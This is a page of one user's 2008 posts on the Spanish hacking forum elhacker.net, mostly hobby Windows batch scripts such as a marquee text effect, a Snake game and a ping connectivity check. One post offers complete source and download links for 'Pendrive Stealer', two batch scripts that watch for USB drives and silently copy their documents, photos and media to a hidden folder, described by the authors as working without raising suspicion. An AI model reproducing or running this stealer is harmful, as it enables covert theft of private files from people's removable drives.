elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales


  Mostrar Mensajes
Páginas: 1 2 3 4 5 6 7 8 9 10 [11] 12 13 14 15 16 17 18
101  Programación / Scripting / Re: Batch - Procesos "inmortales". ¿Cómo terminarlos? en: 12 Octubre 2008, 18:49 pm
Si el proceso se ejecuta como SYSTEM no creo que puedas cerrarlo a menos que tu tambien estes como SYSTEm , aparte de que el Kaspersky carga mucho antes de que inicies Sesion.... ;D
102  Programación / Scripting / Re: Efecto Mrquesina xD en: 12 Octubre 2008, 18:47 pm
me gusto el efecto que creaste...pero tenia la deficiencia de preguntar al user por la longitud de lo que acabo de escribir...

He codeado mi propio efecto...a ver que tal te parece  ;D

Código:
@echo off
title Efecto de Marquesina
REM Coded by :: SmartGenius ::
SETLOCAL ENABLEDELAYEDEXPANSION
:ini
set /p texto="Texto a Mostrar: > "
if not defined texto goto ini
set v=%texto%
call :string %v%
REM Obtenemos el Tamaño de Pantalla   
for /f "tokens=2" %%a in ('mode con^|find /i "col"') do (set /a l=%%a-%length%)
REM Creamos una Variable con L espacios vacios
for /l %%b in (1,1,%l%) do (call :new %%b)
REM Mostramos la Cadena andando hacia la derecha
for /l %%c in (1,1,%l%) do (call :show %%c)
REM Mostramos la Cadena andando hacia la izquierda
for /l %%d in (%l%,-1,1) do (call :show %%d)
pause
exit

:new
set r= %r%
goto :eof

:show
cls
set lim=%1
echo !r:~0,%lim%!%texto%
ping -n 1 >nul
goto :eof

:string
set /a length=%length%+1
set v=%v:~1%
if "%v%"=="" goto :eof
goto string

Saludos.
103  Programación / Scripting / Re: [batch]base de datos en: 7 Octubre 2008, 04:26 am
usa FOR /F para leer el archivo, con TOKENS para filtrar el contenido o usando FIND para mas exactitud.....

Mira un Ejemplo:

http://foro.elhacker.net/scripting/quien_quiere_ser_millonario-t226423.0.html

Saludos.
104  Programación / Scripting / Re: My USB Stealer en: 3 Octubre 2008, 05:25 am
Necesitas ayuda con codigos.....ya tengo la idea bastante desarrollada hace rato...y ya ahi una version funcional...programada con ayuda del compañero Rockox...



Mira...lo puedes descargar aqui...

http://two.xthost.info/smartgenius/SourceCodeUSBStealerV1.01.zip
http://rapidshare.com/files/122880149/USBPendriveStealerv1.01.zip

El programa consta de dos codes...uno de configuracion y uno de escaneo...

USBStealer
Código:
@echo off
mode con cols=70
mode con lines=40
title Pendrive Stealer - Local
color 0a
REM Script de Copia de Dispositivos USB
REM Coded by :: SmartGenius :: , RockoX

if exist "myfolder.cfg" (goto anim) else (goto ins)

:ins
cls
echo.
echo  Instalando el Programa...
echo  Por favor espere
echo *.jpg,*.gif,*.png,*.bmp,*.txt,*.doc,*.pdf,*.ppt,*.xls,*.htm>"ftypes.cfg"
md "Mi Carpeta"
echo "Mi Carpeta\">"myfolder.cfg"
ping -n 2 0.0.0.0 > nul
pause
goto anim

:anim
cls
echo.
echo        ±±±±±                                               ±±±±±
echo      ±±°°°°°±                                            ±±°°°°°±
echo      ±°°°°°°°±±                                         ±°°°°°°°±
echo    ±±°°°°°°°°°±                                        ±±°°°°°°°°±±
echo   ±°°°°°°°°°°°±                                      ±±°°°°°°°°°°°°±
echo   ±°°°°°°°°°°°°±±            ²²²²²²²²²²²²²²²²²²   ±±±°°°°°°°°°°°°°°±
echo    ±±°°°°°°°°°°°°±±±     ²²²²±±°°°°°°°°°°°°±±²²²²±°°°°°°°°°°°°±±±±±
echo      ±±±±±±°°°°°°°°°±²²²²°°°°°°°°°°°°°°°°°°°°°°²²²²°°°°°°±±±±±
echo            ±±±°°°°°²²±±°°°°°°°°°°°°°°°°°°°°°°°°°°²²²²°°±±
echo               ±°°²²±±°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°²²²±
echo                 ²²²°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°±±²²
echo                ²²°°°°°°°°°°²²²²°°°°°°°°²²²²°°°°°°°°°°°²²
echo                ²²°°°°°°°°²²²²²²²²°°°°²²²²²²²²°°°°°°°°°²²
echo                ²²°°°°°°°°²²²²²²²²°°°°²²²²²²²²°°°°°°°°°²²
echo                ²²°°°°°°°°°±²²²²°°°°°°°±²²²²°°°°°°°°°°°²²
echo                ²²±±°°°°°°°°°°°°°°±±±±°°°°°°°°°°°°°°°°²²
echo                 ²²²°°°°°°°°°°°°°°²²²²°°°°°°°°°°°°°°²²²²
echo                ±±²²²²°°°°°°°°°°°°°°°°°°°°°°°°°°°°²²²²°°±±
echo               ±±°°°°²²±°°°°°°°°°°°°°°°°°°°°°°°°°°²²°°°°°°±±
echo            ±±±°°°°°°°²²²²°°°°°°°°°°°°°°°°°°°°°²²²°°°°°°°°°°±±±±±±±
echo      ±±±±±±°°°°°°°°±±²  ²²²°°°°°°°°°°°°°°°°°°²²  ±±°°°°°°°°°°°°°°°±±
echo    ±±°°°°°°°°°°°°±±       ²°°°°°°°°°°°°°°°°°°²     ±±±±°°°°°°°°°°°°°±
echo    ±°°°°°°°°°°°±±         ²°°°°°°°°°°°°°°°°°°²         ±±°°°°°°°°°°±±
echo    ±±°°°°°°°°±±           ²°°±°°±°°±°°±°°±°°°²          ±°°°°°°°°±±
echo      ±±°°°°°±±            ²²²²²²²²²²²²²²²²²²²²          ±±°°°°°°±
echo        ±°°°±±                                             ±°°°°±
echo         ±±±±                                               ±±±±
echo.
echo              ²²² ²²² ²²  ²²²    ²² ²² ²²² ² ² ²²² ²²²  ²²²
echo              ²   ² ² ² ² ²      ² ² ² ² ² ² ² ²   ²  ² ²
echo              ²   ² ² ² ² ²²² ²² ²   ² ²²² ²²  ²²² ²²²  ²²²
echo              ²   ² ² ² ² ²      ²   ² ² ² ² ² ²   ²  ²   ²
echo              ²²² ²²² ²²  ²²²    ²   ² ² ² ² ² ²²² ²  ² ²²²
echo.
pause
goto main

:main
cls
echo.
echo.
echo                ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo                º Pendrive Stealer v 1.0  xD º
echo                ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo    Elija una Opcion:
echo.
echo   ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿  ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo   ³1³ ³ Definir carpeta principal...³  ³2³ ³ Tipos de Archivos..  ³
echo   ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ  ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo   ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿  ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo   ³3³ ³ Iniciar Escaneo de USBs...  ³  ³4³ ³ Ayuda del Programa.. ³
echo   ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ  ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo   ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo   ³5³ ³ Salir del Programa..        ³
echo   ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo.
set /p opc=">> "
if "opc"=="" (goto main)
set opc=%opc: =_%

if %opc%==1 goto dcp
if %opc%==2 goto ftype
if %opc%==3 goto scan
if %opc%==4 goto help
if %opc%==5 (goto out) else (goto err)

:err
cls
echo.
echo ERROR...
echo.
echo No ha escogido una Opcion Correcta
echo Vuelva a Intentarlo
echo.
pause
goto main

:dcp
cls
echo.
echo.
echo                ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo                º Pendrive Stealer v 1.0  xD º
echo                ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo   En esta opcion puede definir en donde se guardaran
echo   los archivos copiados...
echo.
echo  Arrastre aqui la carpeta
echo.
set /p dcp=">> "
if "dcp"=="" (goto dcp)
echo %dcp%>"myfolder.cfg"
echo.
echo  La carpeta : %dcp%
echo  se ha establecido exitosamente...
echo.
pause
goto main

:ftype
cls
echo.
echo.
echo                ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo                º Pendrive Stealer v 1.0  xD º
echo                ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo   Configure aqui los tipos de archivos que desea Escanear y Copiar
echo.
echo    Elija una Opcion:
echo.
echo   ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿  ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo   ³1³ ³ Documentos...  ³  ³2³ ³ Imagenes ^& Fotos..       ³
echo   ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ  ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo   ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿  ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo   ³3³ ³ Musica ^& Audio ³  ³4³ ³ Documentos ^& Imagenes..  ³
echo   ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ  ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo   ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿  ÚÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo   ³5³ ³ Videos *       ³  ³6³ ³ Todas las Opciones... *  ³
echo   ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ  ÀÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo.
echo  * Las Opciones 5 y 6 pueden tardar mas de lo normal...
echo.
set /p typ=">> "
if "typ"=="" (goto ftype)
if %typ%==1 (echo *.txt,*.doc,*.pdf,*.ppt,*.pps,*.xls,*.htm,*.rtf,*.mdb>"ftypes.cfg" & goto yap)
if %typ%==2 (echo *.jpg,*.gif,*.bmp,*.png,*.psd,*.jpeg,*.tiff>"ftypes.cfg" & goto yap)
if %typ%==3 (echo *.mp3,*.mp4,*.wav,*.mid,*.wma,*.ogg>"ftypes.cfg" & goto yap)
if %typ%==4 (echo *.txt,*.doc,*.pdf,*.ppt,*.pps,*.xls,*.htm,*.rtf,*.mdb,*.jpg,*.gif,*.bmp,*.png,*.psd,*.jpeg,*.tiff>"ftypes.cfg" & goto yap)
if %typ%==5 (echo *.mpg,*.wmv,*.asf,*.3gp,*.avi,*.mov>"ftypes.cfg" & goto yap)
if %typ%==6 (echo *.txt,*.doc,*.pdf,*.ppt,*.xls,*.htm,*.jpg,*.gif,*.bmp,*.png,*.mp3,*.mp4,*.wma>"ftypes.cfg" & goto yap)
goto main

:yap
for /F "tokens=*" %%b in (ftypes.cfg) do set filetypes=%%b
echo.
echo  Tipos de Archivos Configurados correctamente
echo.
echo  Archivos con Extension: %filetypes%
echo.
pause
goto main

:scan
start USBScan.bat
exit

:help
cls
echo.
echo.
echo                ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo                º Pendrive Stealer v 1.0  xD º
echo                ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo  Este programa tiene la Funcion de copiar archvos desde dispositivos
echo  USB, de manera silenciosa y sin levantar sospechas...
echo.
echo  El programa puede ser congifurado facilmente, dandole opciones de
echo  escoger que tipos de archivos copiar y en que carpeta se deben
echo  guardar...
echo.
echo.
echo  Titulo:  Pendrive USB Stealer, Version 1.0 Local
echo  Autores: :: SmartGenius ::, RockoX
echo  Web:     http://foro.code-makers.es
echo.
echo  SmartGenius, Corp. 2008
echo.
pause
goto main
 
:out
cls
echo MsgBox "Gracias por usar este Programa", 64, "USB Stealer" >%temp%\msgr.vbs
start %temp%\msgr.vbs
exit

USBScan
Código:
@echo off
title USB Stealer - Local
color 0a

:load
cls
echo MsgBox "Se inicio el Escaneo...", 64, "USB Stealer" >%temp%\msgr.vbs
start %temp%\msgr.vbs
goto ini

:ini
if not exist "myfolder.cfg" (goto fixfolder)
for /F "tokens=*" %%a in (myfolder.cfg) do set myfolder=%%a
if not exist "ftypes.cfg" (gotp fixfiles)
for /F "tokens=*" %%b in (ftypes.cfg) do set filetypes=%%b
goto main

:main
for %%u in ( D E F G H I J K L M N O P Q R S T U V W X Y Z) do call :comp %%u
goto ini

:comp
set unidad=%1
FSUTIL FSINFO DRIVETYPE %unidad%:>%temp%\letuni.tmf
if %errorlevel%==1 (goto usb2)
for /F "tokens=*" %%e in (%temp%\letuni.tmf) do set let=%%e
if %let:~-4%==ble (call :usb %unidad%)
if %let:~-4%==ija (goto :eof)
if %let:~-4%==ROM (goto :eof)

:usb
set letra=%1
if exist "%letra%:\db.ini" goto :eof
for  /r %letra%: %%t in (%filetypes%) do (copy "%%t" %myfolder%)
echo USB>db.ini
goto :eof

:usb2
for %%n in ( D E F G H I J K L M N O P Q R S T U V W X Y Z) do (call :usb %%n)
goto ini

:fixfiles
echo *.jpg,*.gif,*.png,*.bmp,*.txt,*.doc,*.pdf,*.ppt,*.xls,*.htm>"ftypes.cfg"
echo MsgBox "Los Tipos de Archivo no estan configurados...", 64, "USB Stealer" >%temp%\msgr.vbs
start %temp%\msgr.vbs
exit

:fixfolder
echo "Mi Carpeta\">"myfolder.cfg"
echo MsgBox "No Hay una Carpeta Predefinida...", 64, "USB Stealer" >%temp%\msgr.vbs
start %temp%\msgr.vbs
exit

Saludos.
105  Programación / Scripting / Re: TUTORIAL vbscript en: 25 Septiembre 2008, 01:22 am
Master...esta buenisimo todo esto....ya era hora de que lo pusieras....me viene de perlas....... ;D ;D

Si hubiesen Karmas te las daba.. :rolleyes:

Con tu permiso copiare algo de contenido....con referencia a ti Onbio..xD

Saludos.
106  Programación / Scripting / Re: Snake en Batch o_O - by Smart en: 24 Septiembre 2008, 03:10 am
a alguien le parece la idea de seguir desarrollando el jueguito ??

Saludos.
107  Programación / Scripting / Re: Varias dudas para extraer informacion de texto x batch? en: 20 Septiembre 2008, 04:39 am
creo que usando PING y ERRORLEVEL puedes establecer si tienes conexion a internet...es facil...

Este code de RockoX:

Código:
Aver esto : 
@echo off
cd %windir%\system32
ping -n 2 www.google.com>nul
if errorlevel 1 (
goto :NoConection
) else (
goto :Conection
)

:NoConection
cls
msg * No hay conexion!
goto :EOF

:Conection
cls
msg * Si hay conexion!
goto :EOF

Saludos.
108  Programación / Scripting / Snake en Batch o_O - by Smart en: 7 Septiembre 2008, 17:39 pm
Alguien por ahi me dijo que no se podia jugar en batch....  :rolleyes: :rolleyes:

Pues para esos que hablan mal de Batch...aqui tienen algo xD

Se trata de un Juego simple que creo que ya todos conocen: Snake....

Aunque por ahora no crece ni se alimenta, pero se mueve sola y se choca con las paredes.... ;D ;D

Esto es lo que llevo:  v1.

Código
  1. @echo off
  2. title Snake
  3. REM A Game like the Snake
  4. REM Coded by :: SmartGenius ::
  5. color 0a
  6. mode con cols=15 lines=16
  7.  
  8. :ini
  9. for /l %%a in (10,1,109) do (set p%%a= )
  10. set dot=Û
  11. set newpos=p10
  12. set %newpos%=%dot%
  13. set nnpos=p00
  14. set %nnpos%=.
  15.  
  16. :main
  17. cls
  18. set oldpos=%newpos%
  19. set curpos=%newpos%
  20. echo  ÚÄÄÄÄÄÄÄÄÄÄ¿
  21. echo  ³%p10%%p11%%p12%%p13%%p14%%p15%%p16%%p17%%p18%%p19%³
  22. echo  ³%p20%%p21%%p22%%p23%%p24%%p25%%p26%%p27%%p28%%p29%³
  23. echo  ³%p30%%p31%%p32%%p33%%p34%%p35%%p36%%p37%%p38%%p39%³
  24. echo  ³%p40%%p41%%p42%%p43%%p44%%p45%%p46%%p47%%p48%%p49%³
  25. echo  ³%p50%%p51%%p52%%p53%%p54%%p55%%p56%%p57%%p58%%p59%³
  26. echo  ³%p60%%p61%%p62%%p63%%p64%%p65%%p66%%p67%%p68%%p69%³
  27. echo  ³%p70%%p71%%p72%%p73%%p74%%p75%%p76%%p77%%p78%%p79%³
  28. echo  ³%p80%%p81%%p82%%p83%%p84%%p85%%p86%%p87%%p88%%p89%³
  29. echo  ³%p90%%p91%%p92%%p93%%p94%%p95%%p96%%p97%%p98%%p99%³
  30. echo  ³%p100%%p101%%p102%%p103%%p104%%p105%%p106%%p107%%p108%%p109%³
  31. echo  ÀÄÄÄÄÄÄÄÄÄÄÙ
  32. goto :%dir%
  33.  
  34. :w
  35. choice /c:wasdx /n /s /t:w,1
  36. if %errorlevel%==1 goto up
  37. if %errorlevel%==2 goto left
  38. if %errorlevel%==3 goto down
  39. if %errorlevel%==4 goto rigth
  40. if %errorlevel%==5 (goto out) else (goto main)
  41.  
  42. :a
  43. choice /c:wasdx /n /s /t:a,1
  44. if %errorlevel%==1 goto up
  45. if %errorlevel%==2 goto left
  46. if %errorlevel%==3 goto down
  47. if %errorlevel%==4 goto rigth
  48. if %errorlevel%==5 (goto out) else (goto main)
  49.  
  50. :s
  51. choice /c:wasdx /n /s /t:s,1
  52. if %errorlevel%==1 goto up
  53. if %errorlevel%==2 goto left
  54. if %errorlevel%==3 goto down
  55. if %errorlevel%==4 goto rigth
  56. if %errorlevel%==5 (goto out) else (goto main)
  57.  
  58. :d
  59. choice /c:wasdx /n /s /t:d,1
  60. if %errorlevel%==1 goto up
  61. if %errorlevel%==2 goto left
  62. if %errorlevel%==3 goto down
  63. if %errorlevel%==4 goto rigth
  64. if %errorlevel%==5 (goto out) else (goto main)
  65.  
  66. :down
  67. if %oldpos:~-2,1%==0 (goto :out)
  68. set newpos=%curpos%
  69. set %curpos%=
  70. set /a newpos=%newpos:~-2%+10
  71. set newpos=p%newpos%
  72. set %newpos%=%dot%
  73. goto main
  74.  
  75. :up
  76. if %oldpos:~-1,1%==1 (goto :out)
  77. set newpos=%curpos%
  78. set %curpos%=
  79. set /a newpos=%newpos:~-2%-10
  80. set newpos=p%newpos%
  81. set %newpos%=%dot%
  82. goto main
  83.  
  84. :rigth
  85. if %oldpos:~-1%==9 (goto :out)
  86. set newpos=%curpos%
  87. set %curpos%=
  88. set /a newpos=%newpos:~-2%+1
  89. set newpos=p%newpos%
  90. set %newpos%=%dot%
  91. goto main
  92.  
  93. :left
  94. if %oldpos:~-1%==0 (goto :out)
  95. set newpos=%curpos%
  96. set %curpos%=
  97. set /a newpos=%newpos:~-2%-1
  98. set newpos=p%newpos%
  99. set %newpos%=%dot%
  100. goto main
  101.  
  102. :out
  103. cls
  104. call :echodyn G A M E
  105. call :echodyn O V E R
  106. call :echodyn by Smart
  107. echo   SmartGenius
  108. echo   Corp. 2008
  109. pause>nul
  110.  
  111. :echodyn
  112. set texto=%* 
  113. set num=1
  114.  
  115. :dyn2
  116. call set var1=%%texto:~0,%num%%%
  117. if "%var1%"=="%texto%" set num=0
  118. cls
  119. echo    %var1%
  120. ping -n 0,3 0.0.0.0 > nul
  121. if %num%==0 (goto :eof)
  122. set /a num=%num%+1
  123. goto dyn2

Necesitan del comando CHOICE para que funcione... si no lo tienen pues en internet se consigue facilito... ;D

Algo que se me olvidaba, aunque creo que ya lo habian deducido es los Controles...

W = Arriba
A = Izquierda
S = Abajo
D = Derecha
X = Salir


Un segundo Codigo del Mismo, pero esta vez no se mueve en Reversa ni acelera...

Código
  1. @echo off
  2. title Snake
  3. REM A Game like the Snake
  4. REM Coded by :: SmartGenius ::
  5. color 0a
  6. mode con cols=15 lines=16
  7.  
  8. :ini
  9. for /l %%a in (10,1,109) do (set p%%a= )
  10. set dot=Û
  11. set newpos=p10
  12. set %newpos%=%dot%
  13. set nnpos=p00
  14. set %nnpos%=.
  15.  
  16. :main
  17. cls
  18. set oldpos=%newpos%
  19. set curpos=%newpos%
  20. echo  ÚÄÄÄÄÄÄÄÄÄÄ¿
  21. echo  ³%p10%%p11%%p12%%p13%%p14%%p15%%p16%%p17%%p18%%p19%³
  22. echo  ³%p20%%p21%%p22%%p23%%p24%%p25%%p26%%p27%%p28%%p29%³
  23. echo  ³%p30%%p31%%p32%%p33%%p34%%p35%%p36%%p37%%p38%%p39%³
  24. echo  ³%p40%%p41%%p42%%p43%%p44%%p45%%p46%%p47%%p48%%p49%³
  25. echo  ³%p50%%p51%%p52%%p53%%p54%%p55%%p56%%p57%%p58%%p59%³
  26. echo  ³%p60%%p61%%p62%%p63%%p64%%p65%%p66%%p67%%p68%%p69%³
  27. echo  ³%p70%%p71%%p72%%p73%%p74%%p75%%p76%%p77%%p78%%p79%³
  28. echo  ³%p80%%p81%%p82%%p83%%p84%%p85%%p86%%p87%%p88%%p89%³
  29. echo  ³%p90%%p91%%p92%%p93%%p94%%p95%%p96%%p97%%p98%%p99%³
  30. echo  ³%p100%%p101%%p102%%p103%%p104%%p105%%p106%%p107%%p108%%p109%³
  31. echo  ÀÄÄÄÄÄÄÄÄÄÄÙ
  32. goto :%dir%
  33.  
  34. :w
  35. choice /c:adxf /n /s /t:f,1
  36. if %errorlevel%==1 goto left
  37. if %errorlevel%==2 goto rigth
  38. if %errorlevel%==3 (goto out) else (goto up)
  39.  
  40. :a
  41. choice /c:wsxf /n /s /t:f,1
  42. if %errorlevel%==1 goto up
  43. if %errorlevel%==2 goto down
  44. if %errorlevel%==3 (goto out) else (goto left)
  45.  
  46. :s
  47. choice /c:adxf /n /s /t:f,1
  48. if %errorlevel%==1 goto left
  49. if %errorlevel%==2 goto rigth
  50. if %errorlevel%==3 (goto out) else (goto down)
  51.  
  52. :d
  53. choice /c:wsxf /n /s /t:f,1
  54. if %errorlevel%==1 goto up
  55. if %errorlevel%==2 goto down
  56. if %errorlevel%==3 (goto out) else (goto rigth)
  57.  
  58. :down
  59. if %oldpos:~-2,1%==0 (goto :out)
  60. set newpos=%curpos%
  61. set %curpos%=
  62. set /a newpos=%newpos:~-2%+10
  63. set newpos=p%newpos%
  64. set %newpos%=%dot%
  65. goto main
  66.  
  67. :up
  68. if %oldpos:~-1,1%==1 (goto :out)
  69. set newpos=%curpos%
  70. set %curpos%=
  71. set /a newpos=%newpos:~-2%-10
  72. set newpos=p%newpos%
  73. set %newpos%=%dot%
  74. goto main
  75.  
  76. :rigth
  77. if %oldpos:~-1%==9 (goto :out)
  78. set newpos=%curpos%
  79. set %curpos%=
  80. set /a newpos=%newpos:~-2%+1
  81. set newpos=p%newpos%
  82. set %newpos%=%dot%
  83. goto main
  84.  
  85. :left
  86. if %oldpos:~-1%==0 (goto :out)
  87. set newpos=%curpos%
  88. set %curpos%=
  89. set /a newpos=%newpos:~-2%-1
  90. set newpos=p%newpos%
  91. set %newpos%=%dot%
  92. goto main
  93.  
  94. :out
  95. cls
  96. call :echodyn G A M E
  97. call :echodyn O V E R
  98. call :echodyn by Smart
  99. echo   SmartGenius
  100. echo   Corp. 2008
  101. pause>nul
  102.  
  103. :echodyn
  104. set texto=%* 
  105. set num=1
  106.  
  107. :dyn2
  108. call set var1=%%texto:~0,%num%%%
  109. if "%var1%"=="%texto%" set num=0
  110. cls
  111. echo    %var1%
  112. ping -n 0,3 0.0.0.0 > nul
  113. if %num%==0 (goto :eof)
  114. set /a num=%num%+1
  115. goto dyn2
  116.  

Necesito ideas, y pues tambien codigo para arreglar algunos errores que tiene y para que haga las demas funciones que necesita para que sea igual al juego original...

Solo me falta hacer que crezca y se alimente.... ;D ;D y ya la tendria mas o menos lista...para Jugar  :D

Espero sus comentarios...

Saludos.
109  Programación / Scripting / Re: Virtual Drive v 1.5 by :: SmartGenius :: en: 7 Septiembre 2008, 17:33 pm
Gracias...... por eso siempre publico el codigo, porque puede que a mi se me hallan pasado algunas cosas, pero asi otros lo revisan y pueden corregir los errores para entre todos mejorar...es una gran herramienta...

Saludos.
110  Programación / Scripting / Re: Virtual Drive v 1.5 by :: SmartGenius :: en: 7 Septiembre 2008, 01:29 am
jejeje, kraszic... pues no es tanto un error, bueno, en la version 2 No, ya que apenas lo abres el te dice que aun no has creado ninguna unidad virtual y que debes de hacerlo desde el menu, ya que en la version anterior la creaba directamente con la letra Z, pero ahora puedes escoger...aunque si falta una comprobacion de que no existe ninguna unidad... pero se puede arreglar

Saludos.
Páginas: 1 2 3 4 5 6 7 8 9 10 [11] 12 13 14 15 16 17 18
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines